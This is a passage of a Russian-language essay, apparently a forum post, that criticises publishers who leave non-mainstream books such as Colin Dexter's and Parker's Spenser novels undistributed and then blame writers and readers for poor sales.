Вот, в этом же здании, что и издательство,<br />есть лавочка. Там ваши книги и лежат. И никто не раскупает!</p> <p>Казалось бы, дикая ситуация. Как сказал поэт, маразм крепчал. Для того чтобы книгу<br />покупали, необходимо запустить ее в сеть магазинов, провести хотя бы минимальную<br />рекламу - то есть, донести до читателя.</p> <p>Во всей стране, по всему русскоязычному миру книга этого автора лежит только в одном<br />маленьком магазинчике, под издательством. И редактор делает обоснованный вывод -<br />читатели не хотят ее покупать! Вот если бы люди, со всей страны, приехали в этот<br />магазинчик, да выстроились в очередь, распихивая друг друга, - вот тогда книга<br />считалась бы &quot;популярной&quot;.</p> <p>Но донести книгу до читателя - это и значит &quot;работать&quot;, наш &quot;испуганный агрессор&quot;<br />этого не умеет. Приведем еще пару примеров. Я очень люблю классический английский<br />детектив, наподобие Колина Декстера (&quot;Инспектор Морс&quot;). Издательство &quot;Армада&quot;<br />попыталось наладить выпуск книг этого автора. Серию закрыли, оттого, что ее &quot;не<br />покупали&quot;.</p> <p>А была ли у читателей такая возможность? Боюсь, что нет. С большим трудом я смог<br />купить одну-единственную книгу на распродаже. Конечно, где-то они лежат - в таком же<br />&quot;магазинчике под издательством&quot;, и читатели, видите ли, не желают их раскупать.</p> <p>А серия романов Паркера о Спенсере? Классика черного романа. До моего города дошли<br />только три книжки.</p> <p>Все дело в том, что существует мейнстрим. Маринина, Дашкова - они отвечают вкусам<br />большинства читателей, и слава Богу, что хотя бы им есть, что почитать. Подобных<br />авторов можно просто издать и выбросить на полки. Как кидают воробьям крошки.</p> <p>Но на страну не может быть сотни прозаиков такого жанра - нужны и другие. А ведь за<br />пределами мейнстрима правило &quot;пипл хавает&quot; уже не срабатывает. Здесь нужно вести<br />работу с читателями, серьезно изучать спрос, создавать сети распространителей...</p> <p>К чему?</p> <p>Для продажи Марининой это не надо. Значит, вообще не надо. И виноваты для &quot;испуганного<br />агрессора&quot; все - и писатели, которые &quot;плохо&quot; пишут, и читатели, которые не желают<br />читать.</p> <p>Стоит ли удивляться, что тот выпускающий редактор, о котором шла речь немного выше,<br />вскоре лишился своего места. А ведь у него было столько планов - настоящих, интересных<br />планов. К примеру, он долго увлеченно рассказывал об идее составить лечебник от<br />геморроя. Можно, конечно, улыбнуться такому замыслу - но ведь есть много людей,<br />которым действительно нужны такие книги.</p> <p>Вот почему наш &quot;испуганный агрессор&quot; так испуган. Он чувствует, что стул под ним<br />шатается. Стул и будет шагаться - ибо все успехи нашего героя суть не успехи даже, а<br />только удачи, рожденные стечением обстоятельств.</p> <p>Стоит ситуации измениться, и он кувыркается со стула. И жаль его, ибо не сам он<br />виноват в своем падении, и не жаль, ибо падение ничему не может его научить.</p> <p>Зато оно может научить нас. Каждый совершает ошибки, и каждого искушает возможность<br />спешить, лепя по принципу &quot;так сойдет&quot;. Но мы работаем не только ради денег и не<br />только ради продвижения по службе.</p> <p>Все это важно, все это чертовски важно, как сказала Баффи Корделии, после того как их<br />чуть не убили, - но ни деньги, ни успех не имеют смысла, если потеряешь уважение к<br />себе.</p> <p>И даровать его может лишь хорошо выполненная работа.</p> mybb@mybb.ru (admin) Tue, 04 Aug 2009 16:48:43 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=15#p15